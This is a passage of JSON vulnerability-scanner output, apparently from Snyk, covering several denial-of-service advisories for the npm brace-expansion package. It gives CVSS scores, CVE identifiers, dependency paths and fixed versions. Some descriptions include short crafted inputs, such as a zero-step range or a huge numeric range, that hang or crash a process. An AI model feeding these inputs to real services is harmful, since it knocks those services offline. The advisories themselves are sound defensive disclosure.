"disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable 